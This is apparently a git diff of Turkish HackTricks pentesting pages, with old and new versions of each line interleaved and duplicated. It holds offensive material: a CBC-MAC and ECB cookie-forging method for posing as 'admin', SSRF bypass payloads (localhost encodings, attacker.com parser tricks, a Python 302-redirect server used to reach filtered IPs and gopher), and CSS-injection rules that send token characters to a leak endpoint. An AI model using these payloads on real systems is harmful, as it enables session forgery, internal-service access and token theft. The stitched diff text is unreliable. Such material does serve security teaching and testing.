Bir çerezin değeri olabilir ve CBC kullanılarak imzalanabilir. Değerin bütünlüğü, aynı değeri kullanarak CBC kullanarak oluşturulan imzadır. IV olarak boş bir vektör kullanılması önerildiği için bu tür bütünlük kontrolü savunmasız olabilir.
Belki bir çerez bir değere sahip olabilir ve CBC kullanılarak imzalanabilir. Sonra, değerin bütünlüğü, aynı değeri kullanarak CBC kullanarak oluşturulan imza olacaktır. IV olarak bir nul vektörü kullanılması önerildiği için, bu tür bütünlük kontrolü savunmasız olabilir.
**Saldırı**
1. **administ** kullanıcı adının imzasını alın = **t**
2. **rator\x00\x00\x00 XOR t** kullanıcı adının imzasını alın = **t'**
3. Çereze **administrator+t'** değerini ayarlayın (**t'**, **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** için geçerli bir imza olacaktır)
1. Kullanıcı adı **administ**'in imzasını al = **t**
2. Kullanıcı adı **rator\x00\x00\x00 XOR t**'nin imzasını al = **t'**
3. Çerezde değeri **administrator+t'** olarak ayarla (**t'**, **(rator\x00\x00\x00 XOR t) XOR t**'nin geçerli bir imzası olacaktır = **rator\x00\x00\x00**
**ECB**
@ -248,34 +237,27 @@ Giriş yaptığınızda aldığınız çerez her zaman aynı olmalıdır.
**Nasıl tespit edilir ve saldırılır:**
Neredeyse aynı verilere sahip 2 kullanıcı oluşturun (kullanıcı adı, şifre, e-posta vb.) ve verilen çerezde bir desen keşfetmeye çalışın.
Neredeyse aynı verilere sahip 2 kullanıcı oluşturun (kullanıcı adı, şifre, e-posta vb.) ve verilen çerezde bir desen keşfetmeye çalışın
Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (ECB, her bloğu aynı anahtarla şifrelediği için kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir).
Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adında bir kullanıcı oluşturun ve çerezde herhangi bir desen olup olmadığını kontrol edin (ECB, her bloğu aynı anahtarla şifrelediği için, kullanıcı adı şifrelendiğinde aynı şifrelenmiş baytlar görünebilir).
Bir desen olmalıdır (kullanılan bloğun boyutunda). Bu nedenle, bir bloğun şifrelenmiş desenini bilerek bir kullanıcı adı oluşturabilirsiniz: "a"\*(blok boyutu)+"admin". Ardından, çerezden bir blok "a"nın şifrelenmiş desenini silebilirsiniz. Ve "admin" kullanıcı adının çerezine sahip olacaksınız.
Bir desen olmalıdır (kullanılan blok boyutunda). Bu nedenle, bir grup "a"nın nasıl şifrelendiğini bildiğinizde, "a"\*(blok boyutu)+"admin" şeklinde bir kullanıcı adı oluşturabilirsiniz. Sonra, "a" bloğunun şifrelenmiş desenini çerezden silebilirsiniz. Ve kullanıcı adı "admin"in çerezine sahip olabilirsiniz.
## Referanslar
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>

View file

@ -2,26 +2,18 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu keşfedin (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### Localhost
```bash
# Localhost
@ -91,9 +83,11 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
**Domain Parser**
![](<../../.gitbook/assets/image (649) (1) (1).png>)
**Alan Adı Ayrıştırıcı**
**Burp uzantısı** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) IP biçimlendirme atlamalarını uygular.
### Alan Ayrıştırıcı
```bash
https:attacker.com
https:/attacker.com
@ -122,21 +116,7 @@ attacker。com
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Alan Adı Karışıklığı
Domain confusion (alan adı karışıklığı), SSRF saldırılarında kullanılan bir tekniktir. Bu teknik, hedef uygulamanın bir URL'yi işlerken, alan adı doğrulamasını atlamak veya yanıltmak için kullanılır. Bu sayede saldırgan, hedef uygulama üzerinde istediği sunucuya istek gönderebilir.
Bu teknik, hedef uygulamanın URL'yi işlerken, alan adını doğrulamak için kullanılan yöntemlere dayanır. Örneğin, uygulama bir URL'nin alan adını doğrulamak için DNS sorgusu yapabilir veya URL'nin alan adını çözmek için yerel bir DNS sunucusuna başvurabilir. Saldırgan, bu doğrulama yöntemlerini yanıltmak veya atlamak için farklı alan adı formatlarını kullanabilir.
Örneğin, saldırgan bir SSRF saldırısı gerçekleştirmek için hedef uygulamaya aşağıdaki URL'yi gönderebilir:
```
http://example.com@attacker-server.com
```
Bu URL'de, saldırgan `example.com` alan adını yanıltıcı bir şekilde kullanarak, aslında `attacker-server.com` adlı sunucuya istek gönderir. Hedef uygulama, URL'yi işlerken `example.com` alan adını doğrulamak için DNS sorgusu yapabilir, ancak saldırganın isteği `attacker-server.com` sunucusuna yönlendirilir.
Domain confusion tekniği, SSRF saldırılarında etkili bir şekilde kullanılabilir. Bu nedenle, uygulama geliştiricilerinin URL işleme ve alan adı doğrulama yöntemlerini dikkatlice gözden geçirmeleri önemlidir.
### Alan Karışıklığı
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -173,7 +153,7 @@ next={domain}&next=attacker.com
```
### Yollar ve Uzantılar Geçme
Eğer URL'nin bir yol veya uzantı ile bitmesi veya bir yol içermesi gerekiyorsa, aşağıdaki geçiş yöntemlerinden birini deneyebilirsiniz:
Eğer URL'nin bir yol veya uzantı ile bitmesi gerekiyorsa, veya bir yol içermesi gerekiyorsa, aşağıdaki geçişlerden birini deneyebilirsiniz:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -181,12 +161,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
[**recollapse**](https://github.com/0xacb/recollapse) adlı araç, kullanılan regex'i atlamak için verilen bir girdiden çeşitlilikler üretebilir. Daha fazla bilgi için [**bu yazıyı**](https://0xacb.com/2022/11/21/recollapse/) kontrol edin.
**recollapse** adlı araç, verilen bir girdiden varyasyonlar oluşturarak kullanılan regex'i atlamayı deneyebilir. Daha fazla bilgi için [bu yazıya](https://0xacb.com/2022/11/21/recollapse/) bakın.
### Yönlendirme ile bypass
### Yönlendirme aracılığıyla Atlatma
Sunucunun, bir SSRF'nin **orijinal isteğini filtrelediği** ancak olası bir **yönlendirme** yanıtını filtrelemediği mümkün olabilir.\
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye karşı savunmasız bir sunucu, url parametresini **filtreleyebilir**. Ancak, yönlendirmek istediğiniz yere bir [python sunucusuyla 302 yanıtı](https://pastebin.com/raw/ywAUhFrv) kullanırsanız, 127.0.0.1 gibi filtrelenmiş IP adreslerine veya hatta filtrelenmiş **protokollere** (örneğin gopher) **erişebilirsiniz**.\
Sunucunun bir SSRF'nin **orijinal isteğini filtreleyebileceği ancak** bu isteğe olası bir **yönlendirme** yanıtını filtrelemediği mümkün olabilir.\
Örneğin, `url=https://www.google.com/` üzerinden SSRF'ye duyarlı bir sunucu, **url parametresini filtreleyebilir**. Ancak istediğiniz yere yönlendirmek için bir [python sunucusuyla 302 yanıtı verirseniz](https://pastebin.com/raw/ywAUhFrv), filtrelenmiş IP adreslerine 127.0.0.1 veya hatta filtrelenmiş **protokollere** gopher gibi **erişebilirsiniz**.\
[Bu rapora göz atın.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -210,40 +190,33 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Açıklanan Hileler
### Tersbölü işareti hilesi
### Ters Eğik Çizgi Hilesi
*Tersbölü işareti hilesi*, [WHATWG URL Standardı](https://url.spec.whatwg.org/#url-parsing) ve [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki bir farkı sömürür. RFC3986, URI'ler için genel bir çerçeve iken WHATWG, web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Temel fark, WHATWG standardının tersbölü işaretini (`\`) ileri eğik çizgi (`/`) ile eşdeğer olarak tanımasıdır. Bu, URL'lerin nasıl ayrıştırıldığını etkiler ve özellikle bir URL'deki ana bilgisayardan yola geçişi işaretler.
_Ters eğik çizgi hilesi_, [WHATWG URL Standardı](https://url.spec.whatwg.org/#url-parsing) ile [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) arasındaki farkı sömürür. RFC3986 genel olarak URİ'ler için bir çerçeve sağlarken, WHATWG web URL'leri için özeldir ve modern tarayıcılar tarafından benimsenmiştir. Temel fark, WHATWG standardının ters eğik çizgiyi (`\`) ileri eğik çizgiye (`/`) eşdeğer olarak tanımasıdır, URL'lerin nasıl ayrıştırıldığını etkileyerek özellikle bir URL'de ana bilgisayar adından yola geçişin işaretlenmesini etkiler.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
### Diğer Karışıklıklar
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
Resim kaynağı: [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
Resim [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) adresinden alınmıştır.
## Referanslar
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,26 +2,18 @@
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
{% code title="hedef.html" %}
```html
<!doctype html>
@ -32,6 +24,8 @@ En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsi
@import url('//localhost:5001/start?');
</style>
```
{% endcode %}
{% code title="server.js" %}
```javascript
const http = require('http');
@ -202,7 +196,7 @@ input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
```css
```html
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
@ -232,53 +226,18 @@ input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
```
```css
input[value$="8"]{--e0:url(http://localhost:5001/sızıntı?gönderi=8)}
input[value$="9"]{--e0:url(http://localhost:5001/sızıntı?gönderi=9)}
input[value$="a"]{--e0:url(http://localhost:5001/sızıntı?gönderi=a)}
input[value$="b"]{--e0:url(http://localhost:5001/sızıntı?gönderi=b)}
input[value$="c"]{--e0:url(http://localhost:5001/sızıntı?gönderi=c)}
input[value$="d"]{--e0:url(http://localhost:5001/sızıntı?gönderi=d)}
input[value$="e"]{--e0:url(http://localhost:5001/sızıntı?gönderi=e)}
input[value$="f"]{--e0:url(http://localhost:5001/sızıntı?gönderi=f)}
input{background:var(--e0)}
input[value^="0"]{--s0:url(http://localhost:5001/sızıntı?ön=0)}
input[value^="1"]{--s0:url(http://localhost:5001/sızıntı?ön=1)}
input[value^="2"]{--s0:url(http://localhost:5001/sızıntı?ön=2)}
input[value^="3"]{--s0:url(http://localhost:5001/sızıntı?ön=3)}
input[value^="4"]{--s0:url(http://localhost:5001/sızıntı?ön=4)}
input[value^="5"]{--s0:url(http://localhost:5001/sızıntı?ön=5)}
input[value^="6"]{--s0:url(http://localhost:5001/sızıntı?ön=6)}
input[value^="7"]{--s0:url(http://localhost:5001/sızıntı?ön=7)}
input[value^="8"]{--s0:url(http://localhost:5001/sızıntı?ön=8)}
input[value^="9"]{--s0:url(http://localhost:5001/sızıntı?ön=9)}
input[value^="a"]{--s0:url(http://localhost:5001/sızıntı?ön=a)}
input[value^="b"]{--s0:url(http://localhost:5001/sızıntı?ön=b)}
input[value^="c"]{--s0:url(http://localhost:5001/sızıntı?ön=c)}
input[value^="d"]{--s0:url(http://localhost:5001/sızıntı?ön=d)}
input[value^="e"]{--s0:url(http://localhost:5001/sızıntı?ön=e)}
input[value^="f"]{--s0:url(http://localhost:5001/sızıntı?ön=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/son?jeton=&)};
*/
{% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,30 +1 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
# Radyo Hacking

View file

@ -1,29 +1,22 @@
# Kötü Amaçlı Yazılımlarda Kullanılan Ortak API'lar
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
